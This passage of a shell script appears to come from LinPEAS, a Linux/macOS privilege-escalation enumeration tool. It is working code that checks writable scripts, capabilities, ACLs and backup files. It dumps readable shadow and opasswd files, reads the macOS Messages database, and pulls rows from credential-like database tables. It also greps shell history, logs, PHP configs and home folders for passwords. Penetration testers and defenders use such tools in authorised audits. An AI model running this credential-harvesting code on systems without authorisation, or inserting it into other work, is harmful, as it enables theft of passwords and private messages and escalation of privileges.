if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
fi
done
echo ""
fi
##-- IF) Users with capabilities
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
print_2title "Users with capabilities"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
if [ -f "/etc/security/capability.conf" ]; then
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
else echo_not_found "/etc/security/capability.conf"
fi
echo ""
fi
##-- IF) AppArmor profiles to prevent suid/capabilities abuse
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then
print_2title "AppArmor binary profiles"
ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\."
echo ""
fi
fi
##-- IF) Files with ACLs
print_2title "Files with ACLs (limited to 50)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls"
if ! [ "$SEARCH_IN_FOLDER" ]; then
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
else
( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
fi
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
fi
echo ""
##-- IF) Files with ResourceFork
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
# print_2title "Files with ResourceFork"
# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
# find $HOMESEARCH -type f -exec ls -ld {} \; 2>/dev/null | grep -E ' [x\-]@ ' | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
#fi
#echo ""
##-- IF) .sh files in PATH
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title ".sh files in path"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path"
echo $PATH | tr ":" "\n" | while read d; do
for f in $(find "$d" -name "*.sh" 2>/dev/null); do
if ! [ "$IAMROOT" ] && [ -O "$f" ]; then
echo "You own the script: $f" | sed -${E} "s,.*,${SED_RED},"
elif ! [ "$IAMROOT" ] && [ -w "$f" ]; then #If write permision, win found (no check exploits)
echo "You can write script: $f" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else
echo $f | sed -${E} "s,$shscripsG,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED},";
fi
done
done
echo ""
broken_links=$(find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken)
if [ "$broken_links" ] || [ "$DEBUG" ]; then
print_2title "Broken links in path"
echo $PATH | tr ":" "\n" | while read d; do
find "$d" -type l 2>/dev/null | xargs file 2>/dev/null | grep broken | sed -${E} "s,broken,${SED_RED},";
done
echo ""
fi
fi
##-- IF) Date times inside firmware
if [ "$SEARCH_IN_FOLDER" ]; then
print_2title "FIles datetimes inside the firmware (limit 50)"
find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50
echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"<date>\""
echo ""
fi
##-- IF) Executable files added by user
print_2title "Executable files potentially added by user (limit 70)"
if ! [ "$SEARCH_IN_FOLDER" ]; then
find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems" | sort -r | head -n 70
else
find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems" | sort -r | head -n 70
fi
echo ""
if [ "$MACPEAS" ]; then
print_2title "Unsigned Applications"
macosNotSigned /System/Applications
fi
##-- IF) Unexpected in /opt
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$(ls /opt 2>/dev/null)" ]; then
print_2title "Unexpected in /opt (usually empty)"
ls -la /opt
echo ""
fi
fi
##-- IF) Unexpected folders in /
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Unexpected in root"
if [ "$MACPEAS" ]; then
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
else
(find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found
fi
echo ""
fi
##-- IF) Files (scripts) in /etc/profile.d/
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Files (scripts) in /etc/profile.d/"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files"
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
(ls -la /etc/profile.d/ 2>/dev/null | sed -${E} "s,$profiledG,${SED_GREEN},") || echo_not_found "/etc/profile.d/"
check_critial_root_path "/etc/profile"
check_critial_root_path "/etc/profile.d/"
fi
echo ""
fi
##-- IF) Files (scripts) in /etc/init.d/
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Permissions in init, init.d, systemd, and rc.d"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d"
if [ ! "$MACPEAS" ] && ! [ "$IAMROOT" ]; then #Those folders don´t exist on a MacOS
check_critial_root_path "/etc/init/"
check_critial_root_path "/etc/init.d/"
check_critial_root_path "/etc/rc.d/init.d"
check_critial_root_path "/usr/local/etc/rc.d"
check_critial_root_path "/etc/rc.d"
check_critial_root_path "/etc/systemd/"
check_critial_root_path "/lib/systemd/"
fi
echo ""
fi
##-- IF) Hashes in passwd file
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_list "Hashes inside passwd file? ........... "
if grep -qv '^[^:]*:[x\*\!]\|^#\|^$' /etc/passwd /etc/master.passwd /etc/group 2>/dev/null; then grep -v '^[^:]*:[x\*]\|^#\|^$' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
##-- IF) Writable in passwd file
print_list "Writable passwd file? ................ "
if [ -w "/etc/passwd" ]; then echo "/etc/passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ -w "/etc/pwd.db" ]; then echo "/etc/pwd.db is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ -w "/etc/master.passwd" ]; then echo "/etc/master.passwd is writable" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else echo_no
fi
##-- IF) Credentials in fstab
print_list "Credentials in fstab/mtab? ........... "
if grep -qE "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null; then grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
##-- IF) Read shadow files
print_list "Can I read shadow files? ............. "
if [ "$(cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null)" ]; then cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db 2>/dev/null | sed -${E} "s,.*,${SED_RED},"
else echo_no
fi
print_list "Can I read shadow plists? ............ "
possible_check=""
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
print_list "Can I write shadow plists? ........... "
possible_check=""
(for l in /var/db/dslocal/nodes/Default/users/*; do if [ -w "$l" ];then echo "$l"; possible_check="1"; fi; done; if ! [ "$possible_check" ]; then echo_no; fi) 2>/dev/null || echo_no
##-- IF) Read opasswd file
print_list "Can I read opasswd file? ............. "
if [ -r "/etc/security/opasswd" ]; then cat /etc/security/opasswd 2>/dev/null || echo ""
else echo_no
fi
##-- IF) network-scripts
print_list "Can I write in network-scripts? ...... "
if ! [ "$IAMROOT" ] && [ -w "/etc/sysconfig/network-scripts/" ]; then echo "You have write privileges on /etc/sysconfig/network-scripts/" | sed -${E} "s,.*,${SED_RED_YELLOW},"
elif [ "$(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges on $(find /etc/sysconfig/network-scripts/ '(' -not -type l -and '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},"
else echo_no
fi
##-- IF) Read root dir
print_list "Can I read root folder? .............. "
(ls -al /root/ 2>/dev/null | grep -vi "total 0") || echo_no
echo ""
fi
##-- IF) Root files in home dirs
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching root files in home dirs (limit 30)"
(find $HOMESEARCH -user root 2>/dev/null | head -n 30 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_RED},") || echo_not_found
echo ""
fi
##-- IF) Others files in my dirs
if ! [ "$IAMROOT" ]; then
print_2title "Searching folders owned by me containing others files on it (limit 100)"
(find $ROOT_FOLDER -type d -user "$USER" ! -path "/proc/*" 2>/dev/null | head -n 100 | while read d; do find "$d" -maxdepth 1 ! -user "$USER" \( -type f -or -type d \) -exec dirname {} \; 2>/dev/null; done) | sort | uniq | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed "s,root,${C}[1;13m&${C}[0m,g"
echo ""
fi
##-- IF) Readable files belonging to root and not world readable
if ! [ "$IAMROOT" ]; then
print_2title "Readable files belonging to root and readable by me but not world readable"
(find $ROOT_FOLDER -type f -user root ! -perm -o=r ! -path "/proc/*" 2>/dev/null | grep -v "\.journal" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null | sed -${E} "s,/.*,${SED_RED},"; fi; done) || echo_not_found
echo ""
fi
##-- IF) Modified interesting files into specific folders in the last 5mins
print_2title "Modified interesting files in the last 5mins (limit 100)"
find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED},"
echo ""
##-- IF) Writable log files
if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below
print_2title "Writable log files (logrotten) (limit 50)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#logrotate-exploitation"
logrotate --version 2>/dev/null || echo_not_found "logrotate"
lastWlogFolder="ImPOsSiBleeElastWlogFolder"
logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50)
printf "%s\n" "$logfind" | while read log; do
if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found
if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC;
elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case
elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log";
elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g";
fi
fi
done
fi
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
##-- IF) Files inside my home
print_2title "Files inside $HOME (limit 20)"
(ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found
echo ""
##-- IF) Files inside /home
print_2title "Files inside others home (limit 20)"
(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
echo ""
##-- IF) Mail applications
print_2title "Searching installed mail applications"
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq
echo ""
##-- IF) Mails
print_2title "Mails (limit 50)"
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
echo ""
##-- IF) Backup folders
if [ "$backup_folders" ] || [ "$DEBUG" ]; then
print_2title "Backup folders"
printf "%s\n" "$backup_folders" | while read b ; do
ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
ls -l "$b" 2>/dev/null && echo ""
done
echo ""
fi
fi
##-- IF) Backup files
print_2title "Backup files (limited 100)"
backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
printf "%s\n" "$backs" | head -n 100 | while read b ; do
if [ -r "$b" ]; then
ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
fi;
done
echo ""
##-- IF) DB files
if [ "$MACPEAS" ]; then
print_2title "Reading messages database"
sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
fi
if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then
print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
FILECMD="$(command -v file 2>/dev/null)"
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
if [ "$FILECMD" ]; then
echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
else
echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
fi
done
SQLITEPYTHON=""
echo ""
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd
if [ "$(command -v sqlite3 2>/dev/null)" ]; then
tables=$(sqlite3 $f ".tables" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
else
tables=""
fi
if [ "$tables" ] || [ "$DEBUG" ]; then
printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
printf "%s\n" "$tables" | while read t; do
columns=""
# Search for credentials inside the table using sqlite3
if [ -z "$SQLITEPYTHON" ]; then
columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
# Search for credentials inside the table using python
else
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
fi
#Check found columns for interesting fields
INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
if [ "$INTCOLUMN" ]; then
printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
(sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
echo ""
fi
done
fi
fi
done
fi
echo ""
if [ "$MACPEAS" ]; then
print_2title "Downloaded Files"
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
fi
##-- IF) Web files
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Web files?(output limit)"
ls -alhR /var/www/ 2>/dev/null | head
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
echo ""
fi
##-- IF) All hidden files
print_2title "All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70
echo ""
##-- IF) Readable files in /tmp, /var/tmp, bachups
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | head -n 70)
printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
echo ""
fi
##-- IF) Interesting writable files by ownership or all
if ! [ "$IAMROOT" ]; then
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
#In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
printf "%s\n" "$obmowbe" | while read entry; do
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
elif echo "$entry" | grep -qE "$writeVB"; then
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
else
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
fi
done
echo ""
fi
##-- IF) Interesting writable files by group
if ! [ "$IAMROOT" ]; then
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
for g in $(groups); do
iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
printf " Group $GREEN$g:\n$NC";
printf "%s\n" "$iwfbg" | while read entry; do
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
elif echo "$entry" | grep -Eq "$writeVB"; then
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
else
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
fi
done
fi
done
echo ""
fi
##-- IF) Passwords in history cmd
if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in history cmd"
history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"
echo ""
fi
##-- IF) Passwords in history files
if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in history files"
printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
echo ""
fi
##-- IF) Passwords in config PHP files
if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
print_2title "Searching passwords in config PHP files"
printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
echo ""
fi
##-- IF) Passwords files in home
if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
print_2title "Searching *password* or *credential* files in home (limit 70)"
(printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
echo ""
fi
##-- IF) TTY passwords
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
echo ""
fi
##-- IF) IPs inside logs
if [ "$DEBUG" ]; then
print_2title "Searching IPs inside logs (limit 70)"
(find /var/log/ /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
echo ""
fi
##-- IF) Passwords inside logs
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Searching passwords inside logs (limit 70)"
(find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
echo ""
fi
if [ "$DEBUG" ]; then
##-- IF) Emails inside logs
print_2title "Searching emails inside logs (limit 70)"
(find /var/log/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
echo ""
fi
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
##-- IF) Find possible files with passwords
print_2title "Searching passwords inside key folders (limit 70) - only PHP files"
if ! [ "$SEARCH_IN_FOLDER" ]; then
intpwdfiles=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ $backup_folders_row /tmp /etc /mnt /private -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null)
else
intpwdfiles=$(timeout 150 find $SEARCH_IN_FOLDER -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null)
fi
printf "%s\n" "$intpwdfiles" | grep -I ".php:" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
echo ""
print_2title "Searching passwords inside key folders (limit 70) - no PHP files"
printf "%s\n" "$intpwdfiles" | grep -vI ".php:" | grep -E "^/" | grep ":" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
echo ""
##-- IF) Find possible files with passwords
print_2title "Searching possible password variables inside key folders (limit 140)"
if ! [ "$SEARCH_IN_FOLDER" ]; then
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
